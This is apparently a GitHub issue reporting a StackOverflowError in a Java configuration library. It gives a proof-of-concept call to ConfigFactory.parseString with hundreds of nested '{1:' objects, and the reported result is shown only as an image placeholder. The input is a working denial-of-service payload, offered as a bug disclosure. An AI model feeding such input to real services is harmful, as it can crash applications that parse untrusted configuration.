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Find a StackOverflowError in config

Open BIngDiAn-s opened this issue 3 years ago • 0 comments

poc as follow:

 public static void main(String[] args) throws IOException {


        Config conf = ConfigFactory.parseString("{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1:{1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    }

an the result: image

BIngDiAn-s avatar Nov 19 '22 12:11 BIngDiAn-s